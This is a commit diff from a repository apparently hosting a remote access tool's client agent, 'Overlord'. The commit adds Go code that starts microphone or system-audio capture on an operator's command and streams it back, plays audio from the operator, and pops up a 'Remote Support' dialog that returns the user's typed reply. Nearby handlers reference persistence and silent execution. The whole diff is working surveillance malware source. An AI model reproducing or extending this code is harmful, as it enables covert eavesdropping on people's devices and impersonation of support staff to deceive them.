vxaboveground/overlord
1
0
Fork 0
Code Issues Pull Requests Actions 1 Packages Projects Releases Wiki Activity

remote voice receiving and talking

Browse Source
This commit is contained in:
KingKDot
2026-03-07 23:27:57 -06:00
parent fb9f10bb45
commit 51a653a6aa
21 changed files with 1559 additions and 3 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Overlord-Client/cmd/agent/audio/capabilities.go
+9
View File
@@ -0,0 +1,9 @@
package audio
type Capabilities struct {
Available bool `json:"available"`
RequiresCGO bool `json:"requiresCgo"`
Sources []string `json:"sources"`
DefaultSource string `json:"defaultSource"`
Detail string `json:"detail,omitempty"`
}
Overlord-Client/cmd/agent/audio/voice_native_cgo.go
+352
View File
@@ -0,0 +1,352 @@
//go:build cgo
package audio
import (
"context"
"errors"
"fmt"
"sort"
"strings"
"sync"
"github.com/gen2brain/malgo"
)
const (
voiceSampleRate = 16000
voiceChannels = 1
voiceBytesPerSample = 2
maxPlaybackBufferMillis = 250
)
const maxPlaybackBufferBytes = (voiceSampleRate * voiceChannels * voiceBytesPerSample * maxPlaybackBufferMillis) / 1000
type playbackBuffer struct {
mu sync.Mutex
data []byte
}
func (b *playbackBuffer) Push(p []byte) {
if len(p) == 0 {
return
}
copyBytes := append([]byte(nil), p...)
b.mu.Lock()
b.data = append(b.data, copyBytes...)
if len(b.data) > maxPlaybackBufferBytes {
b.data = b.data[len(b.data)-maxPlaybackBufferBytes:]
}
b.mu.Unlock()
}
func (b *playbackBuffer) PopInto(out []byte) {
if len(out) == 0 {
return
}
for i := range out {
out[i] = 0
}
b.mu.Lock()
n := copy(out, b.data)
if n > 0 {
b.data = b.data[n:]
}
b.mu.Unlock()
}
type Session struct {
ctx context.Context
cancel context.CancelFunc
audioCtx *malgo.AllocatedContext
capture *malgo.Device
playback *malgo.Device
uplink chan []byte
queue *playbackBuffer
wg sync.WaitGroup
closeMu sync.Mutex
isClosed bool
}
func ProbeCapabilities() Capabilities {
ctx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil)
if err != nil {
return Capabilities{
Available: false,
RequiresCGO: true,
Sources: []string{"default"},
Detail: "audio backend init failed",
}
}
defer ctx.Free()
caps := Capabilities{
Available: true,
RequiresCGO: true,
Sources: []string{"default"},
DefaultSource: "default",
}
for _, name := range listCaptureDeviceNames(ctx.Context) {
caps.Sources = append(caps.Sources, "device:"+name)
}
return caps
}
func listCaptureDeviceNames(ctx malgo.Context) []string {
devices, err := ctx.Devices(malgo.Capture)
if err != nil {
return nil
}
seen := map[string]bool{}
out := make([]string, 0, len(devices))
for i := range devices {
name := strings.TrimSpace(devices[i].Name())
if name == "" {
continue
}
key := strings.ToLower(name)
if seen[key] {
continue
}
seen[key] = true
out = append(out, name)
}
sort.Slice(out, func(i, j int) bool {
return strings.ToLower(out[i]) < strings.ToLower(out[j])
})
return out
}
func findCaptureDeviceByName(ctx malgo.Context, wanted string) (*malgo.DeviceID, string, bool) {
wanted = strings.TrimSpace(wanted)
if wanted == "" {
return nil, "", false
}
devices, err := ctx.Devices(malgo.Capture)
if err != nil {
return nil, "", false
}
for i := range devices {
name := strings.TrimSpace(devices[i].Name())
if strings.EqualFold(name, wanted) {
id := devices[i].ID
return &id, name, true
}
}
return nil, "", false
}
func findSystemCaptureDevice(ctx malgo.Context) (*malgo.DeviceID, string, bool) {
devices, err := ctx.Devices(malgo.Capture)
if err != nil {
return nil, "", false
}
keywords := []string{
"stereo mix",
"what u hear",
"monitor",
"loopback",
"output",
"speakers",
}
for i := range devices {
name := strings.ToLower(devices[i].Name())
for _, keyword := range keywords {
if strings.Contains(name, keyword) {
id := devices[i].ID
return &id, devices[i].Name(), true
}
}
}
return nil, "", false
}
func StartVoiceSession(parent context.Context, source string, onCapture func([]byte)) (*Session, error) {
if onCapture == nil {
return nil, errors.New("voice capture callback is required")
}
source = strings.TrimSpace(source)
audioCtx, err := malgo.InitContext(nil, malgo.ContextConfig{}, nil)
if err != nil {
return nil, fmt.Errorf("audio init failed: %w", err)
}
ctx, cancel := context.WithCancel(parent)
s := &Session{
ctx: ctx,
cancel: cancel,
audioCtx: audioCtx,
uplink: make(chan []byte, 24),
queue: &playbackBuffer{},
}
playCfg := malgo.DefaultDeviceConfig(malgo.Playback)
playCfg.SampleRate = voiceSampleRate
playCfg.Playback.Format = malgo.FormatS16
playCfg.Playback.Channels = voiceChannels
playCallbacks := malgo.DeviceCallbacks{
Data: func(output, _ []byte, _ uint32) {
s.queue.PopInto(output)
},
}
playDev, err := malgo.InitDevice(audioCtx.Context, playCfg, playCallbacks)
if err != nil {
audioCtx.Free()
cancel()
return nil, fmt.Errorf("audio playback init failed: %w", err)
}
s.playback = playDev
capCfg := malgo.DefaultDeviceConfig(malgo.Capture)
capCfg.SampleRate = voiceSampleRate
capCfg.Capture.Format = malgo.FormatS16
capCfg.Capture.Channels = voiceChannels
if strings.EqualFold(source, "system") {
deviceID, deviceName, ok := findSystemCaptureDevice(audioCtx.Context)
if !ok || deviceID == nil {
s.playback.Stop()
s.playback.Uninit()
audioCtx.Free()
cancel()
return nil, errors.New("system audio capture device was not found on this client")
}
_ = deviceName
capCfg.Capture.DeviceID = deviceID.Pointer()
} else if strings.HasPrefix(strings.ToLower(source), "device:") {
deviceName := strings.TrimSpace(source[len("device:"):])
deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, deviceName)
if !ok || deviceID == nil {
s.playback.Stop()
s.playback.Uninit()
audioCtx.Free()
cancel()
return nil, fmt.Errorf("audio capture device was not found: %s", deviceName)
}
capCfg.Capture.DeviceID = deviceID.Pointer()
} else if source != "" && !strings.EqualFold(source, "default") && !strings.EqualFold(source, "microphone") {
deviceID, _, ok := findCaptureDeviceByName(audioCtx.Context, source)
if !ok || deviceID == nil {
s.playback.Stop()
s.playback.Uninit()
audioCtx.Free()
cancel()
return nil, fmt.Errorf("audio capture device was not found: %s", source)
}
capCfg.Capture.DeviceID = deviceID.Pointer()
}
capCallbacks := malgo.DeviceCallbacks{
Data: func(_, input []byte, _ uint32) {
if len(input) == 0 {
return
}
chunk := append([]byte(nil), input...)
select {
case s.uplink <- chunk:
default:
// Drop oldest when overloaded to keep latency bounded.
select {
case <-s.uplink:
default:
}
select {
case s.uplink <- chunk:
default:
}
}
},
}
capDev, err := malgo.InitDevice(audioCtx.Context, capCfg, capCallbacks)
if err != nil {
playDev.Uninit()
audioCtx.Free()
cancel()
return nil, fmt.Errorf("audio capture init failed: %w", err)
}
s.capture = capDev
if err := playDev.Start(); err != nil {
s.capture.Uninit()
s.playback.Uninit()
audioCtx.Free()
cancel()
return nil, fmt.Errorf("audio playback start failed: %w", err)
}
if err := capDev.Start(); err != nil {
s.playback.Stop()
s.capture.Uninit()
s.playback.Uninit()
audioCtx.Free()
cancel()
return nil, fmt.Errorf("audio capture start failed: %w", err)
}
s.wg.Add(1)
go func() {
defer s.wg.Done()
for {
select {
case <-s.ctx.Done():
return
case chunk := <-s.uplink:
onCapture(chunk)
}
}
}()
return s, nil
}
func (s *Session) WritePlayback(data []byte) error {
if len(data) == 0 {
return nil
}
s.closeMu.Lock()
closed := s.isClosed
s.closeMu.Unlock()
if closed {
return errors.New("voice session is closed")
}
s.queue.Push(data)
return nil
}
func (s *Session) Close() error {
s.closeMu.Lock()
if s.isClosed {
s.closeMu.Unlock()
return nil
}
s.isClosed = true
s.closeMu.Unlock()
s.cancel()
if s.capture != nil {
_ = s.capture.Stop()
s.capture.Uninit()
}
if s.playback != nil {
_ = s.playback.Stop()
s.playback.Uninit()
}
if s.audioCtx != nil {
s.audioCtx.Free()
}
s.wg.Wait()
return nil
}
Overlord-Client/cmd/agent/audio/voice_stub.go
+32
View File
@@ -0,0 +1,32 @@
//go:build !cgo
package audio
import (
"context"
"errors"
)
type Session struct{}
func ProbeCapabilities() Capabilities {
return Capabilities{
Available: false,
RequiresCGO: true,
Sources: []string{"default"},
DefaultSource: "default",
Detail: "native voice support requires a CGO-enabled build",
}
}
func StartVoiceSession(_ context.Context, _ string, _ func([]byte)) (*Session, error) {
return nil, errors.New("native voice support requires a CGO-enabled build")
}
func (s *Session) WritePlayback(_ []byte) error {
return errors.New("voice session is unavailable")
}
func (s *Session) Close() error {
return nil
}
Overlord-Client/cmd/agent/handlers/command.go
+227
View File
@@ -2,15 +2,19 @@ package handlers
import (
"context"
"encoding/json"
"errors"
"fmt"
"log"
"os"
"os/exec"
goruntime "runtime"
"strconv"
"strings"
"sync"
"time"
"overlord-client/cmd/agent/audio"
"overlord-client/cmd/agent/capture"
"overlord-client/cmd/agent/console"
"overlord-client/cmd/agent/persistence"
@@ -24,8 +28,16 @@ var ErrReconnect = errors.New("reconnect requested")
var (
activeCommands = make(map[string]context.CancelFunc)
activeCommandsMu sync.Mutex
voiceSessionMu sync.Mutex
voiceSession *voiceRuntime
)
type voiceRuntime struct {
sessionID string
cancel context.CancelFunc
session *audio.Session
}
func cancelAllCommands() {
activeCommandsMu.Lock()
defer activeCommandsMu.Unlock()
@@ -74,6 +86,8 @@ func resetForReconnect(env *runtime.Env) {
env.Console.StopAll()
}
stopVoiceSession()
env.NotificationMu.Lock()
env.NotificationKeywords = nil
env.NotificationMinIntervalMs = 0
@@ -250,6 +264,171 @@ func payloadNumberToInt64(value interface{}) int64 {
}
}
func stopVoiceSession() {
voiceSessionMu.Lock()
v := voiceSession
voiceSession = nil
voiceSessionMu.Unlock()
if v == nil {
return
}
if v.cancel != nil {
v.cancel()
}
if v.session != nil {
_ = v.session.Close()
}
}
func startVoiceSession(ctx context.Context, env *runtime.Env, sessionID string, source string) error {
if sessionID == "" {
return errors.New("missing voice session id")
}
stopVoiceSession()
vCtx, cancel := context.WithCancel(ctx)
session, err := audio.StartVoiceSession(vCtx, source, func(chunk []byte) {
if len(chunk) == 0 {
return
}
msg := map[string]interface{}{
"type": "voice_uplink",
"sessionId": sessionID,
"data": chunk,
}
_ = wire.WriteMsg(vCtx, env.Conn, msg)
})
if err != nil {
cancel()
return err
}
v := &voiceRuntime{sessionID: sessionID, cancel: cancel, session: session}
voiceSessionMu.Lock()
voiceSession = v
voiceSessionMu.Unlock()
return nil
}
func writeVoiceDownlink(data []byte) error {
voiceSessionMu.Lock()
v := voiceSession
voiceSessionMu.Unlock()
if v == nil || len(data) == 0 {
return nil
}
if v.session == nil {
return errors.New("voice session not ready")
}
if err := v.session.WritePlayback(data); err != nil {
return err
}
return nil
}
func showSupportChatDialog(message, operator string, requireReply bool) (string, error) {
msg := strings.TrimSpace(message)
if msg == "" {
return "", errors.New("missing support message")
}
title := "Remote Support"
if operator = strings.TrimSpace(operator); operator != "" {
title = fmt.Sprintf("Remote Support - %s", operator)
}
switch goruntime.GOOS {
case "windows":
return showSupportChatWindows(msg, title, requireReply)
case "darwin":
return showSupportChatDarwin(msg, title, requireReply)
case "linux":
return showSupportChatLinux(msg, title, requireReply)
default:
return "", fmt.Errorf("support chat is not supported on %s", goruntime.GOOS)
}
}
func showSupportChatWindows(message, title string, requireReply bool) (string, error) {
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
defer cancel()
var cmd *exec.Cmd
if requireReply {
script := `[void][Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic'); $resp=[Microsoft.VisualBasic.Interaction]::InputBox($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,''); Write-Output $resp`
cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script)
} else {
script := `Add-Type -AssemblyName PresentationFramework; [void][System.Windows.MessageBox]::Show($env:OVERLORD_SUPPORT_MESSAGE,$env:OVERLORD_SUPPORT_TITLE,[System.Windows.MessageBoxButton]::OK,[System.Windows.MessageBoxImage]::Information)`
cmd = exec.CommandContext(ctx, "powershell", "-NoProfile", "-NonInteractive", "-Command", script)
}
cmd.Env = append(os.Environ(),
"OVERLORD_SUPPORT_MESSAGE="+message,
"OVERLORD_SUPPORT_TITLE="+title,
)
out, err := cmd.CombinedOutput()
if err != nil {
return "", fmt.Errorf("windows support dialog failed: %w", err)
}
if !requireReply {
return "", nil
}
return strings.TrimSpace(string(out)), nil
}
func showSupportChatDarwin(message, title string, requireReply bool) (string, error) {
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
defer cancel()
esc := func(s string) string {
s = strings.ReplaceAll(s, `\\`, `\\\\`)
s = strings.ReplaceAll(s, `"`, `\\"`)
return s
}
msg := esc(message)
ttl := esc(title)
var script string
if requireReply {
script = fmt.Sprintf(`text returned of (display dialog "%s" with title "%s" default answer "" buttons {"Send"} default button "Send")`, msg, ttl)
} else {
script = fmt.Sprintf(`display dialog "%s" with title "%s" buttons {"OK"} default button "OK"`, msg, ttl)
}
out, err := exec.CommandContext(ctx, "osascript", "-e", script).CombinedOutput()
if err != nil {
return "", fmt.Errorf("macOS support dialog failed: %w", err)
}
if !requireReply {
return "", nil
}
return strings.TrimSpace(string(out)), nil
}
func showSupportChatLinux(message, title string, requireReply bool) (string, error) {
if _, err := exec.LookPath("zenity"); err != nil {
return "", errors.New("zenity is required for support chat on Linux")
}
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Minute)
defer cancel()
if requireReply {
cmd := exec.CommandContext(ctx, "zenity", "--entry", "--title", title, "--text", message)
out, err := cmd.CombinedOutput()
if err != nil {
return "", fmt.Errorf("linux support input failed: %w", err)
}
return strings.TrimSpace(string(out)), nil
}
cmd := exec.CommandContext(ctx, "zenity", "--info", "--title", title, "--text", message)
if _, err := cmd.CombinedOutput(); err != nil {
return "", fmt.Errorf("linux support message failed: %w", err)
}
return "", nil
}
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
cmdID, _ := envelope["id"].(string)
action, _ := envelope["commandType"].(string)
@@ -1116,6 +1295,36 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = sessionID
console.Resize(sessionID, cols, rows)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "voice_session_start":
sessionID, _ := envelopePayloadString(envelope, "sessionId")
source := "default"
payload, _ := envelope["payload"].(map[string]interface{})
if payload != nil {
if v, ok := payload["source"].(string); ok && strings.TrimSpace(v) != "" {
source = strings.TrimSpace(v)
}
}
if err := startVoiceSession(ctx, env, sessionID, source); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "voice_session_stop":
stopVoiceSession()
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "voice_downlink":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: "missing payload"})
}
data, _ := payload["data"].([]byte)
if err := writeVoiceDownlink(data); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "voice_capabilities":
caps := audio.ProbeCapabilities()
payload, _ := json.Marshal(caps)
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: caps.Available, Message: string(payload)})
}
switch action {
@@ -1270,6 +1479,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
scriptType = "powershell"
}
return HandleScriptExecute(ctx, env, cmdID, scriptContent, scriptType)
case "support_chat":
payload, _ := envelope["payload"].(map[string]interface{})
message, _ := payload["message"].(string)
operator, _ := payload["operator"].(string)
requireReply := true
if payload != nil {
if v, ok := payload["requireReply"].(bool); ok {
requireReply = v
}
}
reply, err := showSupportChatDialog(message, operator, requireReply)
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
if requireReply {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: strings.TrimSpace(reply)})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true, Message: "delivered"})
case "silent_exec":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
Overlord-Client/go.mod
+4 -1
View File
@@ -12,7 +12,10 @@ require (
nhooyr.io/websocket v1.8.10
)
require golang.org/x/sys v0.24.0
require (
github.com/gen2brain/malgo v0.11.24
golang.org/x/sys v0.24.0
)
require (
github.com/gen2brain/shm v0.1.0 // indirect
Overlord-Client/go.sum
+2
View File
@@ -2,6 +2,8 @@ github.com/creack/pty v1.1.21 h1:1/QdRyBaHHJP61QkWMXlOIBfsgdDeeKfK8SYVUWJKf0=
github.com/creack/pty v1.1.21/go.mod h1:MOBLtS5ELjhRRrroQr9kyvTxUAFNvYEK993ew/Vr4O4=
github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gen2brain/malgo v0.11.24 h1:hHcIJVfzWcEDHFdPl5Dl/CUSOjzOleY0zzAV8Kx+imE=
github.com/gen2brain/malgo v0.11.24/go.mod h1:f9TtuN7DVrXMiV/yIceMeWpvanyVzJQMlBecJFVMxww=
github.com/gen2brain/shm v0.1.0 h1:MwPeg+zJQXN0RM9o+HqaSFypNoNEcNpeoGp0BTSx2YY=
github.com/gen2brain/shm v0.1.0/go.mod h1:UgIcVtvmOu+aCJpqJX7GOtiN7X2ct+TKLg4RTxwPIUA=
github.com/gen2brain/x264-go v0.3.1 h1:XFi6y8HM5BCMrP4kR/o711iBU++XNfLOY3PG8Alz2kU=